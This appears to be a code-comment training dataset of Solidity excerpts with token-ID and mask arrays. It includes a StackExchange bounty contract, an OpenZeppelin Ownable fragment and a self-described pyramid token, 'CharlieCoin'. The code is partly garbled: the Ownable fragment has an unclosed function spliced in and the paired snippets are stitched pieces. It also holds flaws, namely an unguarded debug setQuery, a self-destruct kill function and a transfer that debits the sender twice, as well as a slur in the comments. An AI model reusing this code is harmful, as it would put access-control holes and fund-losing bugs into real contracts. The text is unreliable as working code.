URL = strConcat(
"https://api.stackexchange.com/2.2/questions/",
uIntToStr(_questionID),
"?site=",
_site
);
queryID = oraclize_query(
"URL",
strConcat("json(",URL,").items.0.creation_date"),
500000
);
}
else if (_queryType == QueryType.isAnswerAccepted) {
URL = strConcat(
"https://api.stackexchange.com/2.2/questions/",
uIntToStr(_questionID),
"?site=",
_site
);
queryID = oraclize_query(
_updateDelay,
"URL",
strConcat("json(",URL,").items.0.accepted_answer_id"),
500000
);
}
else if (_queryType == QueryType.getWinnerID) {
URL = strConcat(
"https://api.stackexchange.com/2.2/answers/",
uIntToStr(questions[_i].acceptedAnswerID),
"?site=",
_site
);
queryID = oraclize_query(
_updateDelay,
"URL",
strConcat("json(",URL,").items.0.owner.user_id"),
500000
);
}
else {
URL = strConcat(
"https://api.stackexchange.com/2.2/users/",
uIntToStr(questions[_i].winnerID),
"?site=",
_site
);
queryID = oraclize_query(
_updateDelay,
"URL",
strConcat("json(",URL,").items.0.location"),
500000
);
}
questions[_i].ownedFee += (contractBalance - this.balance);
questions[_i].queryType[queryID] = _queryType;
queryInfo[queryID].site = _site;
queryInfo[queryID].questionID = _questionID;
queryInfo[queryID].iterator = _i;
}
// only for debug purposes
function kill(){
if (msg.sender == owner) suicide(msg.sender);
}
function uIntToStr(uint i) internal returns (string) {
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function setWinner(uint i, uint id, uint winnerID, address winnerAddr) { // Debug ONLY
if (msg.sender != owner) throw;
questions[i].acceptedAnswerID = id;
questions[i].winnerID = winnerID;
questions[i].winnerAddress = winnerAddr;
}
function fullfillContractEarly(uint i) { // Debug ONLY
if (msg.sender != owner) throw;
fullfillContract(1, "whatever", i);
}
function setQuery(bytes32 index, string site, uint id, uint iterator, uint typeQ) { // Debug ONLY
queryInfo[index].site = site;
queryInfo[index].questionID = id;
queryInfo[index].iterator = iterator;
QueryType qType;
if (typeQ == 0) {
qType = QueryType.newQuestion;
} else if (typeQ == 1) {
qType = QueryType.isAnswerAccepted;
} else if (typeQ == 2) {
qType = QueryType.getWinnerID;
} else if (typeQ == 3) {
qType = QueryType.getWinnerAddress;
}
questions.length = iterator + 1;
questions[iterator].queryType[index] = qType;
questions[iterator].updateDelay = 99999;
}
}
| only for debug purposes | function kill(){
if (msg.sender == owner) suicide(msg.sender);
}
| 12,918,498 | [
1,
3700,
364,
1198,
13694,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
8673,
1435,
95,
203,
3639,
309,
261,
3576,
18,
15330,
422,
3410,
13,
1597,
335,
831,
12,
3576,
18,
15330,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/80001/0xcdEb6BbefF46de9d0c655A8Ad7ad5305A4EC0B1C/sources/project_/contracts/NonFungibleFashionContract.sol | OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)* @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner./ | abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function _afterTokenTransfer(
address from,
address to,
uint256 firstTokenId,
uint256 batchSize
}
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
| 5,589,341 | [
1,
3678,
62,
881,
84,
292,
267,
30131,
261,
2722,
3526,
331,
24,
18,
27,
18,
20,
13,
261,
3860,
19,
5460,
429,
18,
18281,
13,
225,
13456,
1605,
1492,
8121,
279,
5337,
2006,
3325,
12860,
16,
1625,
1915,
353,
392,
2236,
261,
304,
3410,
13,
716,
848,
506,
17578,
12060,
2006,
358,
2923,
4186,
18,
2525,
805,
16,
326,
3410,
2236,
903,
506,
326,
1245,
716,
5993,
383,
1900,
326,
6835,
18,
1220,
848,
5137,
506,
3550,
598,
288,
13866,
5460,
12565,
5496,
1220,
1605,
353,
1399,
3059,
16334,
18,
2597,
903,
1221,
2319,
326,
9606,
1375,
3700,
5541,
9191,
1492,
848,
506,
6754,
358,
3433,
4186,
358,
13108,
3675,
999,
358,
326,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
17801,
6835,
14223,
6914,
353,
1772,
288,
203,
565,
1758,
3238,
389,
8443,
31,
203,
203,
565,
871,
14223,
9646,
5310,
1429,
4193,
12,
2867,
8808,
2416,
5541,
16,
1758,
8808,
394,
5541,
1769,
203,
203,
565,
445,
389,
5205,
1345,
5912,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
1122,
1345,
548,
16,
203,
3639,
2254,
5034,
16494,
203,
97,
203,
203,
565,
3885,
1435,
288,
203,
3639,
389,
13866,
5460,
12565,
24899,
3576,
12021,
10663,
203,
565,
289,
203,
203,
565,
9606,
1338,
5541,
1435,
288,
203,
3639,
389,
1893,
5541,
5621,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
445,
3410,
1435,
1071,
1476,
5024,
1135,
261,
2867,
13,
288,
203,
3639,
327,
389,
8443,
31,
203,
565,
289,
203,
203,
565,
445,
389,
1893,
5541,
1435,
2713,
1476,
5024,
288,
203,
3639,
2583,
12,
8443,
1435,
422,
389,
3576,
12021,
9334,
315,
5460,
429,
30,
4894,
353,
486,
326,
3410,
8863,
203,
565,
289,
203,
203,
565,
445,
1654,
8386,
5460,
12565,
1435,
1071,
5024,
1338,
5541,
288,
203,
3639,
389,
13866,
5460,
12565,
12,
2867,
12,
20,
10019,
203,
565,
289,
203,
203,
565,
445,
7412,
5460,
12565,
12,
2867,
394,
5541,
13,
1071,
5024,
1338,
5541,
288,
203,
3639,
2583,
12,
2704,
5541,
480,
1758,
12,
20,
3631,
315,
5460,
429,
30,
394,
3410,
353,
326,
3634,
1758,
8863,
203,
3639,
389,
13866,
5460,
12565,
12,
2704,
5541,
1769,
203,
565,
289,
203,
203,
565,
445,
389,
13866,
5460,
2
]
|
pragma solidity ^0.4.19;
/**
* https://youarenotsosmart.com/2011/03/25/the-sunk-cost-fallacy/
* /Norsefire, PhD.
**/
contract CharlieCoin {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later)
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "CharlieCoin";
string public symbol = "CHARLIES";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 100e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 1 ether;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
// administrator list (see above on what they can do)
mapping(bytes32 => bool) public administrators;
// when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid)
bool public onlyAmbassadors = false;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
function CharlieCoin()
public
{
}
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
/**
* Converts all of caller's dividends to tokens.
*/
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/**
* Withdraws all of the callers earnings.
*/
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
/**
* Transfer tokens from the caller to a new holder.
* NEW AND IMPROVED ZERO FEE ON TRANSFER BECAUSE FUCK EXTORTION
*/
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// ( we dont want whale premines )
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// fire event, and send tokens
transferFrom(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
/*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/
/**
* In case one of us dies, we need to replace ourselves.
*/
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
/**
* Precautionary measures in case we need to adjust the masternode rate.
*/
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*=================================
= HURR-DURR =
=================================*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
// Check for approved spend
if (_from != msg.sender) {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender] - _value;
}
require(_to != address(0));
require(_value <= tokenBalanceLedger_[_from]);
// Move the tokens across
tokenBalanceLedger_[_from] = tokenBalanceLedger_[_from] - _value;
tokenBalanceLedger_[_to] = tokenBalanceLedger_[_to] + _value;
// Fire 20 event
Transfer(_from, _to, _value);
// All's well that ends well
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | administrators can: -> change the name of the contract -> change the name of the token -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later) they CANNOT: -> take funds -> disable withdrawals -> kill the contract -> change the price of tokens | modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
address indexed from,
address indexed to,
uint256 tokens
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
=====================================*/
string public name = "CharlieCoin";
string public symbol = "CHARLIES";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 1 ether;
================================*/
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
=======================================*/
| 2,389,117 | [
1,
3666,
3337,
3062,
848,
30,
317,
2549,
326,
508,
434,
326,
6835,
317,
2549,
326,
508,
434,
326,
1147,
317,
2549,
326,
453,
31605,
3122,
21934,
261,
44,
543,
4906,
2430,
518,
22793,
358,
6887,
279,
4171,
2159,
16,
316,
648,
518,
5571,
276,
354,
21832,
3551,
5137,
13,
2898,
385,
16791,
30,
317,
4862,
284,
19156,
317,
4056,
598,
9446,
1031,
317,
8673,
326,
6835,
317,
2549,
326,
6205,
434,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
9606,
1338,
4446,
14207,
1435,
